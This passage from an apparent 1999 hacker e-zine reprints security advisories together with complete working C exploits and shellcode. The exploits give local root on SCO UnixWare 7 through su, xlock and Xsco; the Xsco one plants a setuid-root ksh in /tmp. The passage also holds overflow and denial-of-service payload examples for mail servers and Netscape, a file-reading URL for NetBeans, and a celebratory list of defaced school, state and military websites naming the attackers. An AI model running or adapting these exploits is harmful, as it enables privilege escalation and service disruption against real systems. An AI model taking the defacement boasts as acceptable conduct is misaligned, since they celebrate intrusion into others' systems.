"\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53" "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f" "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff"; const char x86_nop=0x90; long nop,esp; long offset=DEFOFF; char buffer[SIZE]; long get_esp() { __asm__("movl %esp,%eax"); } int main (int argc, char *argv[]) { register int i; if (argc > 1) offset += strtol(argv[1], NULL, 0); if (argc > 2) nop += strtoul(argv[2], NULL, 0); else nop = NOPDEF; esp = get_esp(); memset(buffer, x86_nop, SIZE); memcpy(buffer+nop, shell, strlen(shell)); for (i = nop+strlen(shell); i < SIZE-4; i += 4) *((int *) &buffer[i]) = esp+offset; printf("offset = [0x%x]\n",esp+offset); execl("/usr/bin/su", "su", buffer, NULL); printf("exec failed!\n"); return 0; } ---------------------------------------------------------------------------- Patch: SCO is in the process of fixing a list of vulnerabilities we sent a few weeks ago. ---------------------------------------------------------------------------- @HWA 42.0 xlock(1) Boundary Condition Error (local) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ bugtraq id 825 object xlock(1) (exec) class Boundary Condition Error cve GENERIC-MAP-NOMATCH remote No local Yes published November 25, 1999 updated November 28, 1999 vulnerable SCO Unixware 7.0 Certain versions of Unixware ship with a version of xlock which is vulnerable to a buffer overflow attack. The xlock(1) program locks the local X display until a username and password are entered. In this instance a user can provide an overly long username and overflow a buffer in xlock(1). Given that xlock(1) runs SUID root this will result in a root compromise. To:BugTraq Subject: [w00giving '99 #7]: UnixWare 7's xlock Date: Thu Nov 25 1999 22:30:43 Author: Matt Conover Message-ID: w00w00 Security Development (WSD) http://www.w00w00.org/advisories.html Discovered by: K2 (ktwo@ktwo.ca) The xlock command on SCO's UnixWare 7 has improper bounds checking on the username passed (via argv[1]), which can cause a buffer overflow when a lengthy username is passed. ----------------------------------------------------------------------------- Exploit (by K2): // UnixWare7 /usr/bin/xlock local, K2, revisited Oct-30-1999 #include #include #include #include char shell[] = "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4" "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf" "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff" "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53" "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f" "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff"; #define SIZE 1200 #define NOPDEF 601 #define DEFOFF -400 const char x86_nop=0x90; long nop=NOPDEF,esp; long offset=DEFOFF; char buffer[SIZE]; long get_esp() { __asm__("movl %esp,%eax"); } int main (int argc, char *argv[]) { register int i; if (argc > 1) offset += strtol(argv[1], NULL, 0); if (argc > 2) nop += strtoul(argv[2], NULL, 0); esp = get_esp(); memset(buffer, x86_nop, SIZE); memcpy(buffer+nop, shell, strlen(shell)); for (i = nop+strlen(shell); i < SIZE-4; i += 4) *((int *) &buffer[i]) = esp+offset; printf("jmp = [0x%x]\toffset = [%d]\n",esp+offset,offset); execl("/usr/X/bin/xlock", "xlock", "-name", buffer, NULL); printf("exec failed!\n"); return 0; } ----------------------------------------------------------------------------- Patch: As stated in the previous advisory, wait for SCO to release a patch. Because of the /var/sadm permissions vulnerability we published earlier hasn't been fixed yet, be sure you take off suid privileges on the backed up binary! =) ----------------------------------------------------------------------------- Hellos to the usuals @HWA 43.0 Xsco (exec) local exploit ~~~~~~~~~~~~~~~~~~~~~~~~~ bugtraq id 824 object Xsco (exec) class Boundary Condition Error cve GENERIC-MAP-NOMATCH remote No local Yes published November 25, 1999 updated November 28, 1999 vulnerable SCO Unixware 7.0 Under certain versions of Unixware, the SUID program Xsco is vulnerable to a buffer overflow attack. The problem lies in that Xsco does not sanity check user supplied data. To: BugTraq Subject:[w00giving '99 #6]: UnixWare 7's Xsco Date: Thu Nov 25 1999 22:27:58 Author:Matt Conover Message-ID: w00w00 Security Development (WSD) http://www.w00w00.org/advisories.html Discovered by: K2 (ktwo@ktwo.ca) Due to improper bounds checking, an overflow occurs when a lengthy argument (argv[1]) is passed. Because Xsco runs with superuser privileges, this can be exploited for elevated privileges. ----------------------------------------------------------------------------- Exploit (by K2): // UnixWare7 /usr/X/bin/Xsco local, K2/cheez // // Xsco produces some strange side effect's with the execve; it seems // that commands can not be run interactively. Thanks to cheez for the // shellcode. #include #include #include #include char shell[] = /* 0 */ "\xeb\x5f" /* jmp springboard */ /* syscall: */ /* 2 */ "\x9a\xff\xff\xff\xff\x07\xff" /* lcall 0x7,0x0 */ /* 9 */ "\xc3" /* ret */ /* start: */ /* 10 */ "\x5e" /* popl %esi */ /* 11 */ "\x31\xc0" /* xor %eax,%eax */ /* 13 */ "\x89\x46\x9d" /* movl %eax,-0x63(%esi) */ /* 16 */ "\x88\x46\xa2" /* movb %al,-0x5e(%esi) */ /* seteuid: */ /* 19 */ "\x31\xc0" /* xor %eax,%eax */ /* 21 */ "\x50" /* pushl %eax */ /* 22 */ "\xb0\x8d" /* movb $0x8d,%al */ /* 24 */ "\xe8\xe5\xff\xff\xff" /* call syscall */ /* 29 */ "\x83\xc4\x04" /* addl $0x4,%esp */ /* setuid: */ /* 32 */ "\x31\xc0" /* xor %eax,%eax */ /* 34 */ "\x50" /* pushl %eax */ /* 35 */ "\xb0\x17" /* movb $0x17,%al */ /* 37 */ "\xe8\xd8\xff\xff\xff" /* call syscall */ /* 42 */ "\x83\xc4\x04" /* addl $0x4,%esp */ /* execve: */ /* 45 */ "\x31\xc0" /* xor %eax,%eax */ /* 47 */ "\x50" /* pushl %eax */ /* 48 */ "\x56" /* pushl %esi */ /* 49 */ "\x8b\x1e" /* movl (%esi),%ebx */ /* 51 */ "\xf7\xdb" /* negl %ebx */ /* 53 */ "\x89\xf7" /* movl %esi,%edi */ /* 55 */ "\x83\xc7\x10" /* addl $0x10,%edi */ /* 58 */ "\x57" /* pushl %edi */ /* 59 */ "\x89\x3e" /* movl %edi,(%esi) */ /* 61 */ "\x83\xc7\x08" /* addl $0x8,%edi */ /* 64 */ "\x88\x47\xff" /* movb %al,-0x1(%edi) */ /* 67 */ "\x89\x7e\x04" /* movl %edi,0x4(%esi) */ /* 70 */ "\x83\xc7\x03" /* addl $0x3,%edi */ /* 73 */ "\x88\x47\xff" /* movb %al,-0x1(%edi) */ /* 76 */ "\x89\x7e\x08" /* movl %edi,0x8(%esi) */ /* 79 */ "\x01\xdf" /* addl %ebx,%edi */ /* 81 */ "\x88\x47\xff" /* movb %al,-0x1(%edi) */ /* 84 */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ /* 87 */ "\xb0\x3b" /* movb $0x3b,%al */ /* 89 */ "\xe8\xa4\xff\xff\xff" /* call syscall */ /* 94 */ "\x83\xc4\x0c" /* addl $0xc,%esp */ /* springboard: */ /* 97 */ "\xe8\xa4\xff\xff\xff" /* call start */ /* data: */ /* 102 */ "\xff\xff\xff\xff" /* DATA */ /* 106 */ "\xff\xff\xff\xff" /* DATA */ /* 110 */ "\xff\xff\xff\xff" /* DATA */ /* 114 */ "\xff\xff\xff\xff" /* DATA */ /* 118 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA */ /* 126 */ "\x2d\x63\xff"; /* DATA */ #define SIZE 600 #define NOPDEF 101 #define DEFOFF -240 #define LEN 102 const char x86_nop=0x90; long nop=NOPDEF,esp; long offset=DEFOFF; char buffer[SIZE]; long get_esp() { __asm__("movl %esp,%eax"); } int main (int argc, char *argv[]) { int i,len; char *cmd = "cp /bin/ksh /tmp;chmod 4555 /tmp/ksh"; memset(buffer, x86_nop, SIZE); len = strlen(cmd); len++; len = -len; shell[LEN+0] = (len >> 0) & 0xff; shell[LEN+1] = (len >> 8) & 0xff; shell[LEN+2] = (len >> 16) & 0xff; shell[LEN+3] = (len >> 24) & 0xff; if (argc > 1) offset += strtol(argv[1], NULL, 0); if (argc > 2) nop += strtoul(argv[2], NULL, 0); esp = get_esp(); buffer[0]=':'; memcpy(buffer+nop, shell, strlen(shell)); memcpy(buffer+nop+strlen(shell), cmd,strlen(cmd)); memcpy(buffer+nop+strlen(shell)+strlen(cmd),"\xff",1); for (i = nop+strlen(shell)+1+strlen(cmd); i < SIZE-4; i += 4) { *((int *) &buffer[i]) = esp+offset; } printf("jmp = [0x%x]\toffset = [%d]\tnop = [%d]\n",esp+offset,offset, nop); execl("/usr/X/bin/Xsco", "Xsco", buffer, NULL); printf("exec failed!\n"); return 0; } ----------------------------------------------------------------------------- Patch: Because SCO doesn't distribute source code for Unixware, we'll wait for them to release a patch. ----------------------------------------------------------------------------- Contributors to w00giving '99: awr, jobe, Sangfroid, rfp, vacuum, and interrupt, k2, cheez, dmess0r, and others Today's w00sites: http://www.roses-labs.com http://www.technotronic.com @HWA 44.0 Deerfield WorldClient Pro 2.0.0.0 Boundary Condition Error ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ bugtraq id 823 class Boundary Condition Error cve GENERIC-MAP-NOMATCH remote Yes local Yes published November 26, 1999 updated November 26, 1999 vulnerable Deerfield WorldClient Pro 2.0.0.0 - Microsoft Windows 98 - Microsoft Windows 95 - Microsoft Windows NT 4.0 Deerfield WorldClient Standard 2.0.0.0 - Deerfield Mdaemon 2.8.50 - Microsoft Windows 98 - Microsoft Windows 95 - Microsoft Windows NT 4.0 Deerfield's WorldClient is an email webserver that allows it's users to retrieve email via HTTP. It is susceptible to denial of service attacks due to an unchecked buffer in the request handler. Supplying a long url will crash the server. Example: http ://target.host:2000/[long string] To: BugTraq Subject: Remote DoS Attack in WorldClient Server v2.0.0.0 Vulnerability Date: Wed Nov 24 1999 10:19:38 Author: Ussr Labs Message-ID: Remote DoS Attack in WorldClient Server v2.0.0.0 Vulnerability PROBLEM: UssrLabs found a buffer overflow in WorldClient Server v2.0.0.0 where they do not use proper bounds checking. The following all result in a Denial of Service against the service in question. affected services: WorldClient: Port 2000 This two remotes services are affected to overflow of you send a large url name. Like: http:/serverip/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa For the Binary / Source for this WorldClient Server v2.0.0.0 Denial of Service: Go To: http://www.ussrback.com/mdeam285/ Vendor Status: Contacted. Vendor Url: http://www.mdaemon.com Credit: USSRLABS SOLUTION Nothing yet. u n d e r g r o u n d s e c u r i t y s y s t e m s r e s e a r c h http://www.ussrback.com @HWA 45.0 Netscape Communicator 4.7 Boundary Condition Error ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ bugtraq id 822 class Boundary Condition Error cve GENERIC-MAP-NOMATCH remote Yes local Yes published November 26, 1999 updated November 26, 1999 vulnerable Netscape Communicator 4.7 Netscape Communicator 4.7 has been shown to crash when an argument of 800 characters is supplied to a command in an asp page. Some of the data passed as the argument makes it into the EIP and EBP registers, so execution of arbitrary code is a possibility. The overflow could be embedded in a link on a webpage or in an email message for remote attacks To: BugTraq Subject: Netscape Communicator 4.7 - Navigator Overflows Date: Wed Nov 24 1999 00:15:36 Author: Mike Boto Message-ID: Netscape Communicator 4.7 - Navigator Overflow If this has already been posted please let me know. This is also my first time submitting something, so if I'm doing something wrong bear with me. Netscape Navigator for Win95/98 has a hard time with .asp extensions. I've found that after entering the hexadecimal value 0xAAAAA....(I put in 800 A's just to be sure) after the http://hostname.com/dosomething.asp?, Netscape crashes with the following error. NETSCAPE caused an invalid page fault in module at 0084:41414141. Registers: EAX=00000000 CS=015f EIP=41414141 EFLGS=00010246 EBX=00954c84 SS=0167 ESP=00b486f4 EBP=41414141 ECX=0000003f DS=0167 ESI=000031d2 FS=0fdf EDX=00b47dd3 ES=0167 EDI=00b4c160 GS=0000 Bytes at CS:EIP: Stack dump: 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 The user is forced to reboot to get rid of the messagebox (well that's always how it is with Netscape errors). It may be possible to execute arbitrary commands with. @HWA 46.0 Deerfield Mdaemon 2.8.50 exploit ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ bugtraq id 820 class Unknown cve GENERIC-MAP-NOMATCH remote Unknown local Unknown published November 24, 1999 updated November 24, 1999 vulnerable Deerfield Mdaemon 2.8.50 - Microsoft Windows 98 - Microsoft Windows 95 - Microsoft Windows NT 4.0 The Mdaemon mail server for Windows includes a small web server for web-based remote administration. This webserver is vulnerable due to an unchecked buffer that handles incoming GET requests. An abnormally large URL sent to the WebConfig service at port 2002 will crash the service. To: BugTraq Subject:Multiples Remotes DoS Attacks in MDaemon Server v2.8.5.0 Vulnerability Date: Tue Nov 23 1999 17:20:19 Author:Ussr Labs Message-ID: Multiples Remotes DoS Attacks in MDaemon Server v2.8.5.0 Vulnerability PROBLEM: UssrLabs found multiple places in MDaemon v2.8.5.0 where they do not use proper bounds checking. The following all result in a Denial of Service against the service in question. affected services: WorldClient: Port 2000 WebConfig : Port 2002 This two remotes services are affected to overflow of you send a large url name. Like: http:/serverip/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa For the Binary / Source for this MDaemon Server v2.8.5.0 Denial of Service: Go To: http://www.ussrback.com/mdeam285/ Vendor Status: Contacted. Vendor Url: http://www.mdaemon.com Credit: USSRLABS SOLUTION Nothing yet. u n d e r g r o u n d s e c u r i t y s y s t e m s r e s e a r c h http://www.ussrback.com @HWA 47.0 Cabletron SmartSwitch Router 8000 firmware 2.x DoS ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ bugtraq id 821 class Failure to Handle Exceptional Conditions cve GENERIC-MAP-NOMATCH remote Yes local Yes published November 24, 1999 updated November 24, 1999 vulnerable Cabletron SmartSwitch Router 8000 firmware 2.x The Cabletron SmartSwitch Router 8000 with firmware revision 2.x has been shown to susceptible to a denial of service attack. The SSR can only handle approximately 200 ARP requests per second. If an attacker can get ICMP traffic to the router, they can flood it with ARP requests, effectively shutting the router down for the duration of the attack. Firmware revisions 3.x are not vulnerable to this attack. The latest firmware can be obtained at: http://www.cabletron.com/download/download.cgi?lib=ssr Advisory: BV-007: SSR Denial of Service Published: Wed Nov 24 1999 Updated: Wed Nov 24 1999 Bindview Security Advisory -------- Cabletron SmartSwitch Router 8000 Firmware v2.x Issue date: November 24, 1999 Contact: Scott Blake Topic: Denial of Service Vulnerability in Cabletron's SmartSwitch Router (SSR) Overview: Cabletron's SSR is a Layers 2-4 routing and switching device with one of the fastest switching architectures in the industry. Attackers can cause the SSR to stop handling any network traffic. Affected Systems: Bindview only confirms the vulnerability in the SSR 8000 running firmware revision 2.x. Due to the nature of the problem, other equipment may be vulnerable, including other manufacturers' products. Impact: A malicious attacker can cause the SSR to stop functioning for as long as the attacker can continue feeding packets to the device. Details: Cabletron indicates that the bottleneck appears to occur in the ARP handling mechanism of the SSR. The SSR appears to only be capable of handling ~200 ARP requests per second. Thus, by initiating network traffic to more than this critical number of IP addresses, an attacker can cause the router to stop functioning while the ARP handler is flooded. In extreme cases, with input rates only available on the local network, it may be possible to corrupt the SSR's configuration with a sustained flood of new IP addresses. The danger in this problem arises from the fact that many perimeter defenses (firewalls) permit ICMP through, which means that remote, anonymous attackers may be able to crash the SSR. Fix Information: Upgrade your SSR firmware to version 3.x: http://www.cabletron.com/download/download.cgi?lib=ssr @HWA 48.0 Sun Forte Community Edition 1.0 Beta For NT access validation error ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ bugtraq id 816 class Access Validation Error cve GENERIC-MAP-NOMATCH remote Yes local No published November 23, 1999 updated November 23, 1999 vulnerable Sun Forte Community Edition 1.0 Beta For NT - Microsoft Windows NT 4.0 Sun Netbeans Developer 3.0 Beta For NT - Microsoft Windows NT 4.0 These Java development applications include an http server for testing purposes. The server can be configured to only respond to requests from certain IP addresses, however the mechanism fails and any requests received are serviced. The server will allow read access to any file on the filesystem that it haas access to, all the way up to the root directory. In the Netbeans product, this is the default 'out of the box' configuration. In the Forte product. IP addresses must be added manually to a list of permitted clients. Once a single IP address is added, any requests regardless of source are responded to http ://victim.com:8082/ To: BugTraq Subject: NetBeans/ Forte' Java IDE HTTP vulnerability Date: Mon Nov 22 1999 22:32:00 Author: Halcyon Skinner Message-ID: <3.0.5.32.19991123123200.00975730@jhsph.edu> Vulnerable Application: Sun Microsystems NetBeans (recently renamed to Forte') Java IDE Versions tested: Netbeans Developer 3.0 Beta Forte Community Edition 1.0 Beta unknown if earlier versions have vulnerability Platform tested: Windows NT 4.0 unknown if other platforms have vulnerability Description: The IDE includes an internal HTTP server to try Java code. The settings indicate that access must be explicitly granted on a per IP address bases. However, when service is enabled for one machine, the HTTP server allows remote access to root and all subdirectories from any machine. NOTE, for the NetBeans 3.0 Beta version, this is the default activity. Therefore, no action is required by the user for the vulnerability to exist. Under the Forte' 1.0 Beta version, a user must enable at least one address in the HTTP server settings for the vulnerability to exist. However, once a single IP address is entered, any machine can connect to the internal HTTP server port (default is 8082). Even if all IP addresses are removed, the server continues to allow connections when the IDE is running. Example: While the IDE is running connecting with any browser to http://vvv.xxx.yyy.zzz:8082/.. provides a listing of the root directory. Sub-directories can then be accessed. Solution (work around): 1) Set the HTTP Server "Enable" setting to False in Project settings. or 2) Remove the HTTP Server module in Global settings. Vendor notified: Yes. @HWA 49.0 InterSoft NetTerm 4.2.x remote/local exploit ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ bugtraq id 819 class Unknown cve GENERIC-MAP-NOMATCH remote Yes local Yes published November 22, 1999 updated November 24, 1999 vulnerable InterSoft NetTerm 4.2.x - Microsoft Windows 3.1 - Microsoft Windows 98 - Microsoft Windows 95 - Microsoft Windows NT 4.0 InterSoft's internet suite includes an FTP server which has been found to have numerous vulnerabilities. Among them: The default configuration allows read/write access to the root of the C: drive for anonymous users. This write access includes overwrite and delete. If the server is setup with 'out of the box' options, anonymous remote users have full access to the operating system files and executables. There is no administrator account, which means that any user with console access can alter the server's settings. The encryption method used on the passwords for user accounts is reported to be weak and easily broken. There are also multiple buffer overflows. Supplying over 1024-character arguments to the following commands will crash the server: dir, ls, mkdir, delete, and rmdir. Also, althouth the PASS buffer is truncated at 16 characters for users with accounts, this limit is not in place for the anonymous user (to allow for proper entry of email addresses as passwords) and a 1024-byte string 'password' will crash the server if user name 'anonymous' is supplied. It may be possible to exploit these overflows to run arbitrary code. credit Posted to bugtraq on November 21, 1999 by Jeremy Iverson . reference web page: InterSoft Hompage http://starbase.neosoft.com/~zkrr01/html/netterm.html (InterSoft) message: DNA-1999-001: NetTerm FTP Daemon vulnerabilities (N/A) (Jeremy Iverson ) web page: DNA-1999-001 http://www.dragonmount.net/security/dna/dna-1999-001.htm (Dragonmount Networks) @HWA 50.0 Another MSIE Design error creates remote exploit ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ bugtraq id 815 class Design Error cve GENERIC-MAP-NOMATCH remote Yes local Unknown published November 22, 1999 updated November 23, 1999 vulnerable Microsoft Internet Explorer 5.0 for Windows NT 4.0 + Microsoft Windows NT 4.0 Microsoft Internet Explorer 5.0 for Windows 98 + Microsoft Windows 98 Microsoft Internet Explorer 5.0 for Windows 95 + Microsoft Windows 95 Microsoft Internet Explorer 5.0 for Windows 2000 - Microsoft Windows NT 2000.0 A vulnerability in the method IE5 uses to process XML data may allow a malicious web site owner to read files on a visiting user's computer. A web page may be created that contains an XML object type that contains instructions to read known files on a visitor's local host (and or domain). The IE5 client will allow the XML redirect to access files within its own domain. To:BugTraq Subject: IE 5.0 XML HTTP redirect problems Date: Mon Nov 22 1999 10:21:54 Author: Georgi Guninski Message-ID: <38395F92.A77942B9@nat.bg> Disclaimer: The opinions expressed in this advisory and program are my own and not of any company. The usual standard disclaimer applies, especially the fact that Georgi Guninski is not liable for any damages caused by direct or indirect use of the information or functionality provided by this program. Georgi Guninski, bears NO responsibility for content or misuse of this program or any derivatives thereof. Description: Internet Explorer 5.0 under Windows 95 and WinNT 4.0 (guess other versions are affected) has security problems with HTTP redirects in XML objects. This allows at least: 1) Reading any (local or nonlocal) XML file and any wellformed documents. With the growing influence of XML I consider this a serious problem. 2) Reading parts of documents 3) Checking for the existence of local files. I suppose reading of arbitrary files (not just XML) is also possible, but do not have the time to explore. Details: When one embeds a XML document in a HTML document IE 5.0 does not handle properly HTTP redirects and allows access to the DOM of the embeded XML document. The code is: ---------------------------------------------------------------------------------------- ---------------------------------------------------------------------------------------- Workaround: Disable Active Scripting or Disable Script ActiveX Controls marked Safe for Scripting Demonstration is available at http://www.nat.bg/~joro/xmln.html Copyright 1999 Georgi Guninski Regards, Georgi Guninski http://www.nat.bg/~joro @HWA -=----------=- -=----------=- -=----------=- -=----------=- 0 0 0 o O O O 0 =----------=- -=----------=- -=----------=- -=----------=- -=----------=- =----------=- -=----------=- -=----------=- -=----------=- -=----------=- AD.S ADVERTI$ING. The HWA black market ADVERTISEMENT$. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ _ _ _ _ /\ | | | | (_) (_) / \ __| |_ _____ _ __| |_ _ ___ _ _ __ __ _ / /\ \ / _` \ \ / / _ \ '__| __| / __| | '_ \ / _` | / ____ \ (_| |\ V / __/ | | |_| \__ \ | | | | (_| | /_/ \_\__,_| \_/ \___|_| \__|_|___/_|_| |_|\__, | __/ | |___/ ADVERTISING IS FREE, SEND IN YOUR ADS TO CRUCIPHUX@DOK.ORG FOR INCLUSION HERE ***************************************************************************** * * * ATTRITION.ORG http://www.attrition.org * * ATTRITION.ORG Advisory Archive, Hacked Page Mirror * * ATTRITION.ORG DoS Database, Crypto Archive * * ATTRITION.ORG Sarcasm, Rudeness, and More. * * * ***************************************************************************** When people ask you "Who is Kevin Mitnick?" do you have an answer? www.2600.com www.freekevin.com www.kevinmitnick.com www.2600.com www.freekevi n.com www.kevinmitnick.com www.2600.com www.freekevin.com www.kevinmitnick.co m www.2600.com ########################################ww.2600.com www.freeke vin.com www.kev# Support 2600.com and the Free Kevin #.com www.kevinmitnick. com www.2600.co# defense fund site, visit it now! . # www.2600.com www.free kevin.com www.k# FREE EVIN! #in.com www.kevinmitnic k.com www.2600.########################################om www.2600.com www.fre ekevin.com www.kevinmitnick.com www.2600.com www.freekevin.com www.kevinmitnic k.com www.2600.com www.freekevin.com www.kevinmitnick.com www.2600.com www.fre http://www.2600.com/ http://www.kevinmitnick.com +-----------------------------------------------------------------------------+ | SmoG Alert .. http://smog.cjb.net/ NEWS on SCIENCE | | =================== http://smog.cjb.net/ NEWS on SECURITY | | NEWS/NEWS/NEWS/NEWS http://smog.cjb.net/ NEWS on THE NET | | http://smog.cjb.net/ NEWS on TECHNOLOGY | +-----------------------------------------------------------------------------+ * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * www.csoft.net webhosting, shell, unlimited hits bandwidth ... www.csoft.net * * www.csoft.net www.csoft.net www.csoft.net www.csoft.net www.csoft.net * * http://www.csoft.net" One of our sponsers, visit them now www.csoft.net * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * WWW.BIZTECHTV.COM/PARSE WEDNESDAYS AT 4:30PM EST, HACK/PHREAK CALL-IN WEBTV * * JOIN #PARSE FOR LIVE PARTICIPATION IN SHOW CHAT OR THE WEBCHAT, AND WEBBOARD* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * WWW.2600.COM OFF THE HOOK LIVE NETCAST'S TUES SIMULCAST ON WBAI IN NYC @8PM * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * ////////////////////////////////////////////////////////////////////////////// // To place an ad in this section simply type it up and email it to // // hwa@press,usmc.net, put AD! in the subject header please. - Ed // // or cruciphux@dok.org // ////////////////////////////////////////////////////////////////////////////// @HWA HA.HA Humour and puzzles ...etc ~~~~~~~~~~~~~~~~~~~~~~~~~ Don't worry. worry a *lot* Send in submissions for this section please! ............c'mon, you KNOW you wanna...yeah you do...make it fresh and new...be famous... SITE.1 http://www.sshackers.com/ sSh (Sesame Street Hackers) have been responsible for a recent deluge of www defacements and it appears they have now regged a domain and set up a home page. Check the hacked sites section for hacks by sSh. Sesame Street Hackers home page (brand new) just opened up, nothing much there yet but maybe a bit too much info on affiliates and members... - Ed Members : · altomo · asshair · chem · cvf · cua0 · dap · darkness · ieet · mata · nugz · rackmount · secto0r · sreality · system_v · vghk · zenomorph Watch for an interview with sSh in the next issue of the zine. http://www.nethersearch.com/ Underground search portal with a lot of local content too, well worth checking out HWA is also mirrored there, and a lot of decent tutorials and the like can be found within this site. Check her out. You can Send in submissions for this section too if you've found (or RUN) a cool site... @HWA H.W Hacked websites ~~~~~~~~~~~~~~~~ ___| _ \ | | __| _` |\ \ / | | __| _ \ _` | | | ( | ` < | | | __/ ( | \____|_| \__,_| _/\_\\___/ _| \___|\__,_| Note: The hacked site reports stay, especially wsith some cool hits by groups like *H.A.R.P, go get em boyz racism is a mugs game! - Ed * Hackers Against Racist Propaganda (See issue #7) Haven't heard from Catharsys in a while for those following their saga visit http://frey.rapidnet.com/~ptah/ for 'the story so far'... Hacker groups breakdown is available at Attrition.org ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ check out http://www.attrition.org/mirror/attrition/groups.html to see who you are up against. You can often gather intel from IRC as many of these groups maintain a presence by having a channel with their group name as the channel name, others aren't so obvious but do exist. >Hacked Sites Start<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< * Info supplied by the attrition.org mailing list. Domain: http://b0f.morphed.net/ By: New York Hardcore Owned by "New York HardCore" h0 h0 h0. Got U by suprise ,didn't we ?!? Well, nuttin' wuz deleted. Just rename index.bak to index.html. Now the shoutz: ytcracker, s0n, sSH, mosthated, ieet, p4riah, sarin, #sesame Cruciphux, fuqraq, flipz, #parse and to all my homeboyz down in br00klyn. 0wned by NyHC *New York HardCore* - neo - impact Defaced domain: www.forsyth.k12.ga.us Site Title: Forsyth K12 (GA) Mirror: http://www.attrition.org/mirror/attrition/1999/11/21/www.forsyth.k12.ga.us Defaced by: sector Operating System: Windows NT (IIS/4.) *yawn* Defaced domain: www.forsyth.lanier.tec.ga.us Site Title: Lanier Technical Institute Mirror: http://www.attrition.org/mirror/attrition/1999/11/21/www.forsyth.lanier.tec.ga.us Defaced by: sect0r Operating System: Windows NT (IIS/4.0) *big surprise* Defaced domain: www.eskom.co.za Mirror: http://www.attrition.org/mirror/attrition/1999/11/21/www.eskom.co.za Defaced by: binary outlaws Operating System: Windows NT (IIS/4.0) *we should make a macro* Defaced domain: www.cepnyc.org Site Title: Council on Economic Proirities Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/www.cepnyc.org Defaced by: acidklown & xhostile Operating System: Windows NT (FileMakerPro/4.0) Defaced domain: www.smartparts.com Site Title: Smartparts International Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/www.smartparts.com Defaced by: who cares Operating System: Windows NT (IIS/4.0) Defaced domain: pritchett.k12.co.us Site Title: K12 Colorado Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/pritchett.k12.co.us Defaced by: ytcracker Operating System: Windows NT (IIS/4.0) Defaced domain: www.tradewide.com Site Title: knell Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/www.tradewide.com Defaced by: knell Operating System: Linux Defaced domain: d55.lehman.cuny.edu Site Title: City University of New York Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/d55.lehman.cuny.edu Defaced by: DHC (nemesystem) Operating System: Irix Defaced domain: www.acebank.com Site Title: ACEBank Inc Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/www.acebank.com Defaced by: dukj Operating System: Windows NT (IIS/4.0) Defaced domain: www.eng.bton.ac.uk Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/www.eng.bton.ac.uk Defaced by: PhaTTy Operating System: SunOS 4.1.x (NCSA/1.4.2) Attrition comment: View source. Genius forgot to close a tag it seems. Defaced domain: www.firephotos.com Site Title: Fire Photos Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/www.firephotos.com Defaced by: c0de red Operating System: Windows NT (IIS/4.0) Defaced domain: sos.state.nv.us Site Title: State of Nevada Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/sos.state.nv.us Defaced by: ieet Operating System: Windows NT (IIS/4.0) Defaced domain: dns2.mdcinstaweb.com Site Title: MDC India Pvt Ltd Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/dns2.mdcinstaweb.c Operating System: Red Hat Linux (Apache 1.3.6) Defaced domain: www.dcmde.dla.mil Site Title: Defense Contract Management Center East (Defense Logistics Agency) Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/www.dcmde.dla.mil Defaced by: ytcracker Operating System: Windows NT (IIS/4.0) Defaced domain: www.mdir.de Site Title: MDIR Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/www.mdir.de Defaced by: darkness Operating System: Linux (Apache 